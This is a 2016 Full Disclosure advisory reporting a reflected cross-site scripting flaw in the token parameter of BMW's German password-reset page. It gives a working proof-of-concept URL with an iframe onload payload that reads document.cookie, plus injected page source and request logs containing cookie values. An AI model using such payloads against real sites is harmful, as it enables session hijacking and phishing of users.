Date: Fri, 8 Jul 2016 10:27:12 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] BMW - (Token) Client Side Cross Site Scripting Vulnerability

Document Title:
===============
BMW - (Token) Client Side Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1737


Release Date:
=============
2016-07-06


Vulnerability Laboratory ID (VL-ID):
====================================
1737


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
Bayerische Motoren Werke AG - German for Bavarian Motor Works), usually known under its abbreviation BMW, is a German luxury automobile, motorcycle, 
and engine manufacturing company founded in 1916. Headquartered in Munich, Bavaria, Germany, it also owns and produces Mini cars and serves as the 
parent company of Rolls-Royce Motor Cars. BMW produces motorcycles under BMW Motorrad, and plug-in electric cars under the BMW i sub-brand. It is 
one of the best-selling luxury automakers in the world. The company is a component of the Euro Stoxx 50 stock market index.

(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/BMW )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site scripting web vulnerability in the official BMW online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-17: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-02-18: Vendor Notification (BMW Security Team)
2016-04-02: Vendor Response/Feedback (BMW Security Team)
2016-07-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official BMW online service web-application.
The vulnerability allows remote attacker to inject own malicious script codes to the client-side of the affected module context.

The vulnerability is located in the `t` value (token) of the `passwordResetOk.html` web-application file. Remote attackers are able 
to inject own client-side script codes to the `passwordResetOk.html` file. the request method to inject is GET and the vulnerability 
is located on the client-side of the affected bmw web-service. The attacker injects the payload after the secure token to execute the 
context in the passwordResetOk.html file. The vulnerability is a classic client-side cross site scripting web vulnerability.

The security risk of the non-persistent vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. 
Exploitation of the persistent input validation web vulnerability requires no privileged web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects to malicious 
source and non-persistent manipulation of affected or connected application modules.


Request Method(s):
				[+] GET

Vulnerable Module(s):
				[+] ./de/publicPools/landingPages/

Vulnerable File(s):
				[+] passwordResetOk.html

Vulnerable Parameter(s):
				[+] t (token)

Affected Module(s):
				[+] Password Reset Function



Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction (click|link).
For security demonstration or to reproduce the client-side cross site scripting web vulnerability follow the provided information and steps below to continue.


PoC: Payload
https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html?t=OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK%22%3E%3C[CLIENT SIDE SCRIPT CODE INJECT!]iframe%20src=a%20onload=alert%28document.cookie%29%20%3C


PoC: Source - resetpasswordMain (t=)
<div class="resetpasswordMain">
    <div class="resetpasswordHeadlineContent resetpasswordContent">   
      <div class="headline parbase headlineColor base resetpasswordMainHeadline">
<h1 id="HeadlineColord8dcc58d2d76c0583906abb15bd57c27" class="headlineNormal headlineDarkGrey ">Ihr neues Passwort für Mein BMW.</h1></div>  
      <div class="headline resetpasswordMainSubheadline parbase headlineColor base">
<h3 id="HeadlineColora3be466af12d8b02db081f15ddf8c61f" class="headlineNormal headlineDarkGrey ">Legen Sie hier Ihr neues Passwort fest.</h3></div>
    </div>
    <fieldset class="copyText resetpasswordFields componentSetFormInputArea">
      <input id="Passwordreset4041967ae0273887df5ec8cd5adcc2c5token" 
value="OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK" type="hidden">[CLIENT SIDE SCRIPT CODE EXECUTION!]<iframe src="a" onload="alert(document.cookie)" <"="">
      <div class="componentSetEditAreaNewRow">
        <label for="Passwordreset4041967ae0273887df5ec8cd5adcc2c5password" class="componentSetFormInputLabel">Neues Passwort*</label><input type="password" 
        class="componentSetInputTxt  componentSetHasRightInfoIcon  password required" id="Passwordreset4041967ae0273887df5ec8cd5adcc2c5password" 
name="passwordResetPassword"/><span class="myBMW-tooltip"><div class="tooltipComp"><div class="componentSetInstantCheck"><div class="parbase base instantCheck">
<div class="instant-check">
    <p class="headline">Ihr Passwort muss die folgenden Bestandteile haben:</p>
    <ul>
        <li class="length">Mindestens 8 Zeichen</li>
        <li class="minimum">Mindestens 2 dieser 3 Gruppen</li>
        <li class="no-list">
            <ul class ="innerul">
                <li class="letters">Buchstaben<br/>(abc = ABC, nicht ÄÖÜ)</li>
                <li class="numbers">Ziffern</li>
                <li class="specials">Sonderzeichen<br/>,.+-()@:;*</li>
            </ul>
        </li>
    </ul>
</div></div>
</div></div>


--- PoC Session Logs ---
Status: pending[]
GET https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html?t=OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[www.bmw.de]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Cookie[_=digitalv25; bw=5000Kbps+; consentCookie=%7B%22timestamp%22%3A1405786130053%2C%22consentFirst%22%3A%22ACCEPTED%22%2C%22consentThird%22%3A%22ACCEPTED%22%7D; languageCookie=de; visitorid=2d98116044640000a69ac5562c030000c8000000; s_fid=4ECAF51566D8ECCD-347548FD67B7DA07; s_cc=true; vee24.testCookie=1; bmwdtm_sid=G1IA191419; v24u_ipremiumservicegmbh=fac51fe1-5a11-48d3-b5b3-3ee11278d107; v24s_ipremiumservicegmbh=9bc46aa0-7204-40e4-98e8-3ac1efcd6e11; vee24.autoNudgeRules=1:1455790787942|1:1455790911094; vee24.userIsActive=1; vee24.numberOfNudgesShown=2; vee24.nudgeReceived.timeout=; vee24.nudgeReceived.timestamp=; vee24.noThanks=1; FieldsetformsFormFieldSetsCurrentVehicleFSComponent=N4IgRgTghgdgJiAXKApjKYA2KGIC4QCuKANCAG5SbFIgBCAsgOogC%2BZAzihAJYodJU6LDiQFiZStRS0AogA4AjGzIBbAPZwUmQSDQZsucaQpUaiEIoAKi5exA8YPAigDmAfQ0w8AC136RIyITKXMQAAY7MkdnCDd3AE8UKAh%2FYUMxYMkzGQsAJkiAVjZWIAA; FieldsetformsFormFieldSetsNumberFamilyMembersFSComponent=N4IgdgrgtgRgpgJwGIEMoEsA2BPAsnWRAZxAC5Q4wUZM4ATMgFwQjgBoQA3FTVskACwgAvsKAAA%3D; FieldsetformsFormFieldSetsNumberCarsInHouseholdFSComponent=N4IgdgrgtgRgpgJwM4GECGyCSYASB7CJOACzwBsATEALlDjDRjLiuoBcEI4AaEANzRkuNEABYQAXwlAA; FieldsetformsFormFieldSetsHobbiesFSComponent=N4IgrgzgpgTg%2BgCwPYCMUEsoTgaygTzgHEB5AGQDEQAuUKAOwEMUAbKAExoBcYwoAaEAGMEUIXk7UefAL6DIsRKgxZcBOAGUSAOQ0AVAJJEAohpp0mrDt14Dho8deoAzRi2hzw0eMjSZseIQUAIIAEgBK4cEAIiERxtrmIAzMbJLSdiJiEjay8t5KfqqBcACyJHok4RoAClV6SSlW6baCWY4teV6KvioB6gDqwRoaxtV14Q20yZZpuZkOOVK2ngo%2Byv5qhHoJ2gZm001zy3xti04ZqwW9myUaANL7E1MWqRet9tnvsjJAA%3D%3D; FieldsetformsFormFieldSetsPersonalDataFSComponent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4QIaZgAueR6yAdnAGIBKAggKogBcoUFeARtgCatEYYKABoQAYwAWUcQGso%2FFqgLQAvmMixEKDNlwFipclQASAUVq1W7TjwUChoidLn2Wg4epBki2ayA5uPgdhMQA3AyhWEAARKy8MGAgiTgBbKLYA22D3R3DI6Ji8VPQ8ChAvTDxktIybILcPJwjCDJAAIRQAdwp0CgBzCArVIAAA%3D; FieldsetformsFormFieldSetsBirthdayFSComponent=N4IgJghgniBcoFMB2EBGAbBY4BcBOArggDQgBuE6RcIADAEwgC%2BpAtgPZI4AWciKGLLkIlylarDoBmZqSgIIePiGRpM2WPiKkKVBDQCMATgAcMpkyAA%3D; FieldsetformsFormFieldSetsAddressRefFSComponent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4EMAm%2BMUE0EcADHHocaQMoAuujkcACgEoCSAagIIAVAKIgAXKCgA7XACNs%2BcYxhgoAGhABjABZRNAayiKxqXJmgBfDZFiIUGbDSIkylagWcNmrcgCEAqvTcAHLC9PTikjLyRkoq6lq6BrFiyqpWWsgAtgi4UgCewbhZUJEg0nIKcaoaAG5mquIguBD4LYoZCMgQzJgAwsj4pRLl0VWp8XUNwyAAzAAsAEzzAGwgGZrojPllFTHGaQn1mI1iILxQmJhZuDDrGj3EUIy7YymHUyczvsQlMI8taD3EDaZA2YJgLKyWCvSrvSYgY6nOaLYGaMFSZT5ODQbCaF4jPbjD6I6ZNAAiogsFiAAAA%3D%3D; FieldsetformsFormFieldSetsCommunicationsFSComponent=N4IgDgFg9gdgpiAXKOMCGAjANnAJkgFwCcBXOAGhADc0sykQAmAZgBYBGRjrz1kAX0pwAtmgCWWJCnTY8hUhWq16iEBgDWwgAJwqUOgTGwAtAGc4AYwB0FqMIH8gAA%3D%3D; FieldsetformsFormFieldSetsPlannedPurchaseFSComponent=N4IgDgNghgdjCmATACgVwE4GMAWUDO8IAXKPDFAEYRLEAu6q8ANCAG5QSPEgBMADAEYAnAFo%2BPMQIAqfPkVny%2BIAL7KgAA%3D%3D]
-
Status: 200[OK]
GET https://www.bmw.de/de/publicPools/landingPages/a[CLIENT SIDE SCRIPT CODE EXECUTION!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[93] Mime Type[text/html]
   Request Header:
      Host[www.bmw.de]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Referer[https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html?t=OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C]
      Cookie[_=digitalv25; bw=5000Kbps+; consentCookie=%7B%22timestamp%22%3A1405786130053%2C%22consentFirst%22%3A%22ACCEPTED%22%2C%22consentThird%22%3A%22ACCEPTED%22%7D; languageCookie=de; visitorid=2d98116044640000a69ac5562c030000c8000000; s_fid=4ECAF51566D8ECCD-347548FD67B7DA07; s_cc=true; vee24.testCookie=1; bmwdtm_sid=G1IA191419; v24u_ipremiumservicegmbh=fac51fe1-5a11-48d3-b5b3-3ee11278d107; v24s_ipremiumservicegmbh=9bc46aa0-7204-40e4-98e8-3ac1efcd6e11; vee24.autoNudgeRules=1:1455790787942|1:1455790911094; vee24.userIsActive=1; vee24.numberOfNudgesShown=2; vee24.nudgeReceived.timeout=; vee24.nudgeReceived.timestamp=; vee24.noThanks=1; FieldsetformsFormFieldSetsCurrentVehicleFSComponent=N4IgRgTghgdgJiAXKApjKYA2KGIC4QCuKANCAG5SbFIgBCAsgOogC%2BZAzihAJYodJU6LDiQFiZStRS0AogA4AjGzIBbAPZwUmQSDQZsucaQpUaiEIoAKi5exA8YPAigDmAfQ0w8AC136RIyITKXMQAAY7MkdnCDd3AE8UKAh%2FYUMxYMkzGQsAJkiAVjZWIAA; FieldsetformsFormFieldSetsNumberFamilyMembersFSComponent=N4IgdgrgtgRgpgJwGIEMoEsA2BPAsnWRAZxAC5Q4wUZM4ATMgFwQjgBoQA3FTVskACwgAvsKAAA%3D; FieldsetformsFormFieldSetsNumberCarsInHouseholdFSComponent=N4IgdgrgtgRgpgJwM4GECGyCSYASB7CJOACzwBsATEALlDjDRjLiuoBcEI4AaEANzRkuNEABYQAXwlAA; FieldsetformsFormFieldSetsHobbiesFSComponent=N4IgrgzgpgTg%2BgCwPYCMUEsoTgaygTzgHEB5AGQDEQAuUKAOwEMUAbKAExoBcYwoAaEAGMEUIXk7UefAL6DIsRKgxZcBOAGUSAOQ0AVAJJEAohpp0mrDt14Dho8deoAzRi2hzw0eMjSZseIQUAIIAEgBK4cEAIiERxtrmIAzMbJLSdiJiEjay8t5KfqqBcACyJHok4RoAClV6SSlW6baCWY4teV6KvioB6gDqwRoaxtV14Q20yZZpuZkOOVK2ngo%2Byv5qhHoJ2gZm001zy3xti04ZqwW9myUaANL7E1MWqRet9tnvsjJAA%3D%3D; FieldsetformsFormFieldSetsPersonalDataFSComponent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4QIaZgAueR6yAdnAGIBKAggKogBcoUFeARtgCatEYYKABoQAYwAWUcQGso%2FFqgLQAvmMixEKDNlwFipclQASAUVq1W7TjwUChoidLn2Wg4epBki2ayA5uPgdhMQA3AyhWEAARKy8MGAgiTgBbKLYA22D3R3DI6Ji8VPQ8ChAvTDxktIybILcPJwjCDJAAIRQAdwp0CgBzCArVIAAA%3D; FieldsetformsFormFieldSetsBirthdayFSComponent=N4IgJghgniBcoFMB2EBGAbBY4BcBOArggDQgBuE6RcIADAEwgC%2BpAtgPZI4AWciKGLLkIlylarDoBmZqSgIIePiGRpM2WPiKkKVBDQCMATgAcMpkyAA%3D; FieldsetformsFormFieldSetsAddressRefFSComponent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4EMAm%2BMUE0EcADHHocaQMoAuujkcACgEoCSAagIIAVAKIgAXKCgA7XACNs%2BcYxhgoAGhABjABZRNAayiKxqXJmgBfDZFiIUGbDSIkylagWcNmrcgCEAqvTcAHLC9PTikjLyRkoq6lq6BrFiyqpWWsgAtgi4UgCewbhZUJEg0nIKcaoaAG5mquIguBD4LYoZCMgQzJgAwsj4pRLl0VWp8XUNwyAAzAAsAEzzAGwgGZrojPllFTHGaQn1mI1iILxQmJhZuDDrGj3EUIy7YymHUyczvsQlMI8taD3EDaZA2YJgLKyWCvSrvSYgY6nOaLYGaMFSZT5ODQbCaF4jPbjD6I6ZNAAiogsFiAAAA%3D%3D; FieldsetformsFormFieldSetsCommunicationsFSComponent=N4IgDgFg9gdgpiAXKOMCGAjANnAJkgFwCcBXOAGhADc0sykQAmAZgBYBGRjrz1kAX0pwAtmgCWWJCnTY8hUhWq16iEBgDWwgAJwqUOgTGwAtAGc4AYwB0FqMIH8gAA%3D%3D; FieldsetformsFormFieldSetsPlannedPurchaseFSComponent=N4IgDgNghgdjCmATACgVwE4GMAWUDO8IAXKPDFAEYRLEAu6q8ANCAG5QSPEgBMADAEYAnAFo%2BPMQIAqfPkVny%2BIAL7KgAA%3D%3D]
      Connection[keep-alive]
   Response Header:
      Server[Apache]
      Cache-Control[must-revalidate, max-age=6541, public]
      Expires[Thu, 18 Feb 2016 12:26:40 GMT]
      Content-Length[93]
      Content-Type[text/html; charset=utf-8]
      Date[Thu, 18 Feb 2016 10:37:39 GMT]
      Connection[keep-alive]
      X-N[S]


-
Cookie:
_=digitalv25; bw=5000Kbps+; consentCookie=%7B%22timestamp%22%3A1405786130053%2C%22consentFirst%22%3A%22ACCEPTED%22%2C%22consentThird%22%3A%22ACCEPTED%22%7D; languageCookie=de; visitorid=2d98116044640000a69ac5562c030000c8000000; s_fid=4ECAF51566D8ECCD-347548FD67B7DA07; s_cc=true; vee24.testCookie=1; bmwdtm_sid=G1IA191419; v24u_ipremiumservicegmbh=fac51fe1-5a11-48d3-b5b3-3ee11278d107; v24s_ipremiumservicegmbh=9bc46aa0-7204-40e4-98e8-3ac1efcd6e11; vee24.autoNudgeRules=1:1455790787942|1:1455790911094; vee24.userIsActive=1; vee24.numberOfNudgesShown=2; vee24.nudgeReceived.timeout=; vee24.nudgeReceived.timestamp=; vee24.noThanks=1; FieldsetformsFormFieldSetsCurrentVehicleFSComponent=N4IgRgTghgdgJiAXKApjKYA2KGIC4QCuKANCAG5SbFIgBCAsgOogC%2BZAzihAJYodJU6LDiQFiZStRS0AogA4AjGzIBbAPZwUmQSDQZsucaQpUaiEIoAKi5exA8YPAigDmAfQ0w8AC136RIyITKXMQAAY7MkdnCDd3AE8UKAh%2FYUMxYMkzGQsAJkiAVjZWIAA; FieldsetformsFormFieldSetsNumberFamilyMembersFSComponent=N4IgdgrgtgRgpgJwGIEMoEsA2BPAsnWRAZxAC5Q4wUZM4ATMgFwQjgBoQA3FTVskACwgAvsKAAA%3D; FieldsetformsFormFieldSetsNumberCarsInHouseholdFSComponent=N4IgdgrgtgRgpgJwM4GECGyCSYASB7CJOACzwBsATEALlDjDRjLiuoBcEI4AaEANzRkuNEABYQAXwlAA; FieldsetformsFormFieldSetsHobbiesFSComponent=N4IgrgzgpgTg%2BgCwPYCMUEsoTgaygTzgHEB5AGQDEQAuUKAOwEMUAbKAExoBcYwoAaEAGMEUIXk7UefAL6DIsRKgxZcBOAGUSAOQ0AVAJJEAohpp0mrDt14Dho8deoAzRi2hzw0eMjSZseIQUAIIAEgBK4cEAIiERxtrmIAzMbJLSdiJiEjay8t5KfqqBcACyJHok4RoAClV6SSlW6baCWY4teV6KvioB6gDqwRoaxtV14Q20yZZpuZkOOVK2ngo%2Byv5qhHoJ2gZm001zy3xti04ZqwW9myUaANL7E1MWqRet9tnvsjJAA%3D%3D; FieldsetformsFormFieldSetsPersonalDataFSComponent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4QIaZgAueR6yAdnAGIBKAggKogBcoUFeARtgCatEYYKABoQAYwAWUcQGso%2FFqgLQAvmMixEKDNlwFipclQASAUVq1W7TjwUChoidLn2Wg4epBki2ayA5uPgdhMQA3AyhWEAARKy8MGAgiTgBbKLYA22D3R3DI6Ji8VPQ8ChAvTDxktIybILcPJwjCDJAAIRQAdwp0CgBzCArVIAAA%3D; FieldsetformsFormFieldSetsBirthdayFSComponent=N4IgJghgniBcoFMB2EBGAbBY4BcBOArggDQgBuE6RcIADAEwgC%2BpAtgPZI4AWciKGLLkIlylarDoBmZqSgIIePiGRpM2WPiKkKVBDQCMATgAcMpkyAA%3D; FieldsetformsFormFieldSetsAddressRefFSComponent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4EMAm%2BMUE0EcADHHocaQMoAuujkcACgEoCSAagIIAVAKIgAXKCgA7XACNs%2BcYxhgoAGhABjABZRNAayiKxqXJmgBfDZFiIUGbDSIkylagWcNmrcgCEAqvTcAHLC9PTikjLyRkoq6lq6BrFiyqpWWsgAtgi4UgCewbhZUJEg0nIKcaoaAG5mquIguBD4LYoZCMgQzJgAwsj4pRLl0VWp8XUNwyAAzAAsAEzzAGwgGZrojPllFTHGaQn1mI1iILxQmJhZuDDrGj3EUIy7YymHUyczvsQlMI8taD3EDaZA2YJgLKyWCvSrvSYgY6nOaLYGaMFSZT5ODQbCaF4jPbjD6I6ZNAAiogsFiAAAA%3D%3D; FieldsetformsFormFieldSetsCommunicationsFSComponent=N4IgDgFg9gdgpiAXKOMCGAjANnAJkgFwCcBXOAGhADc0sykQAmAZgBYBGRjrz1kAX0pwAtmgCWWJCnTY8hUhWq16iEBgDWwgAJwqUOgTGwAtAGc4AYwB0FqMIH8gAA%3D%3D; FieldsetformsFormFieldSetsPlannedPurchaseFSComponent=N4IgDgNghgdjCmATACgVwE4GMAWUDO8IAXKPDFAEYRLEAu6q8ANCAG5QSPEgBMADAEYAnAFo%2BPMQIAqfPkVny%2BIAL7KgAA%3D%3D


Reference(s):
https://www.bmw.de/
https://www.bmw.de/de/
https://www.bmw.de/de/publicPools/
https://www.bmw.de/de/publicPools/landingPages/
https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the `t` value (token) in the `` web-application file.
Restrict the input and disallow special chars to prevent client-side script code injection attacks in the reset account function.
Setup a secure token that is approved after the redirect to disallow client-side attacks against the reset token.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the token value of the reset function is estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@...nerability-lab.com) [www.vulnerability-lab.com]


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=========================
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